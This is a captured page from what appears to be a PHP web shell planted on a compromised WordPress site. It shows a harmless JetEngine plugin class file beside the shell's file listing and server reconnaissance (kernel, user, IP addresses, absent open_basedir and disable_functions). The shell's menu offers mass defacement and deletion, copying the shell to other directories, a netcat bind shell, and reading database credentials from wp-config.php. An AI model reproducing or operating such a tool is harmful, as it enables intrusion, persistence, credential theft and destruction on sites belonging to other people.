WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-engine / includes / core / mcp-tools / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-engine/includes/core/mcp-tools/feature.php (5.08 KB)
<?php
namespace Jet_Engine\MCP_Tools;

class Feature {

	/**
	 * The unique identifier for the feature.
	 *
	 * @var string
	 */
	protected $id;

	/**
	 * The type of the feature (e.g., 'tool', 'resource', etc.).
	 *
	 * @var string
	 */
	protected $type = 'tool';

	/**
	 * The human-readable ability label.
	 *
	 * @var string
	 */
	protected $label;

	/**
	 * The detailed ability description.
	 *
	 * @var string
	 */
	protected $description;

	/**
	 * The optional ability input schema.
	 *
	 * @var array<string,mixed>
	 */
	protected $input_schema = array();

	/**
	 * The optional ability output schema.
	 *
	 * @var array<string,mixed>
	 */
	protected $output_schema = array();

	/**
	 * The ability execute callback.
	 *
	 * @var callable( array<string,mixed> $input): (mixed|\WP_Error)
	 */
	protected $execute_callback;

	/**
	 * The optional ability permission callback.
	 *
	 * @var ?callable( array<string,mixed> $input ): (bool|\WP_Error)
	 */
	protected $permission_callback = null;

	/**
	 * The optional ability metadata.
	 *
	 * @var array<string,mixed>
	 */
	protected $meta = array();

	/**
	 * Constructor.
	 *
	 * @param string $id The unique identifier for the feature.
	 * @param array  $args {
	 *     Optional. An array of arguments to configure the feature.
	 *
	 *     @type string   $label               The human-readable ability label.
	 *     @type string   $description         The detailed ability description.
	 *     @type array    $input_schema        The optional ability input schema.
	 *     @type array    $output_schema       The optional ability output schema.
	 *     @type callable $execute_callback    The ability execute callback.
	 *     @type callable $permission_callback The optional ability permission callback.
	 *     @type array    $meta                The optional ability metadata.
	 * }
	 */
	public function __construct( $id, $args = [] ) {

		$this->id = $id;
		$this->type = $args['type'] ?? 'tool';
		$this->label = $args['label'] ?? '';
		$this->description = $args['description'] ?? '';
		$this->input_schema = $args['input_schema'] ?? [];
		$this->output_schema = $args['output_schema'] ?? [];
		$this->execute_callback = $args['execute_callback'] ?? null;
		$this->permission_callback = $args['permission_callback'] ?? null;
		$this->meta = $args['meta'] ?? [];
	}

	/**
	 * Get the full ID of the feature.
	 *
	 * @return string
	 */
	function get_name() {
		return $this->get_type() . '-' . $this->get_id();
	}

	/**
	 * Get the ID of the feature.
	 *
	 * @return string
	 */
	public function get_id() {
		return $this->id;
	}

	/**
	 * Get the name of the feature.
	 *
	 * @return string
	 */
	public function get_label() {
		return $this->label;
	}

	/**
	 * Get the description of the feature.
	 *
	 * @return string
	 */
	public function get_description() {
		return $this->description;
	}

	/**
	 * Callback to execute the feature.
	 *
	 * @param array $input The input data for the feature.
	 */
	public function run( $input = [] ) {

		if ( ! is_callable( $this->execute_callback ) ) {
			return new \WP_Error(
				'feature_no_execute',
				esc_html__( 'This feature cannot be executed.', 'jet-engine' )
			);
		}

		return call_user_func( $this->execute_callback, $input );
	}

	/**
	 * Returns endpoint request method - GET/POST/PUT/DELTE
	 *
	 * @return string
	 */
	public function get_method() {
		return 'POST';
	}

	/**
	 * Check user access to current end-popint
	 *
	 * @return bool
	 */
	public function check_permissions( $request ) {

		// Locked by default to avoid accidental unauthorized access
		if ( ! is_callable( $this->permission_callback ) ) {
			return current_user_can( 'manage_options' );
		}

		return call_user_func( $this->permission_callback, $request );
	}

	/**
	 * Get the type of the feature.
	 *
	 * @return string
	 */
	public function get_type() {
		return $this->type;
	}

	/**
	 * Get the input schema for the feature.
	 *
	 * @return array
	 */
	public function get_input_schema() {
		return [
			'type'       => 'object',
			'properties' => $this->input_schema,
		];
	}

	/**
	 * Get the output schema for the feature.
	 *
	 * @return array
	 */
	public function get_output_schema() {
		return $this->output_schema;
	}

	/**
	 * Get the metadata for the feature.
	 *
	 * @return array
	 */
	public function get_meta() {
		return $this->meta;
	}

	/**
	 * Convert the feature to an array representation.
	 *
	 * @param bool $as_mcp_tools Whether to format the output as MCP tools or just as plain array.
	 * @return array
	 */
	public function to_array( $as_mcp_tools = false ) {

		if ( $as_mcp_tools ) {
			return array(
				'name'         => $this->get_name(),
				'description'  => $this->get_description(),
				'inputSchema'  => $this->get_input_schema(),
				'meta'         => $this->get_meta(),
			);
		}

		return array(
			'id'           => $this->get_name(),
			'name'         => $this->get_name(),
			'label'        => $this->get_label(),
			'description'  => $this->get_description(),
			'type'         => $this->get_type(),
			'input_schema' => $this->get_input_schema(),
			'output_schema'=> $this->get_output_schema(),
			'meta'         => $this->get_meta(),
		);
	}
}
namawaktuukuranownerpermaksi
..
features/ 2026-07-21 14:1557.17 KB 76129f60960:kundendxwrx-r--r
rest-api/ 2026-07-21 14:1513.04 KB 76129f60960:kundendxwrx-r--r
feature.php 2026-07-21 14:155.08 KB 76129f60960:kunden-xw-x-----
edt
registry.php 2026-07-21 14:156.17 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-engine/includes/core/mcp-tools
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK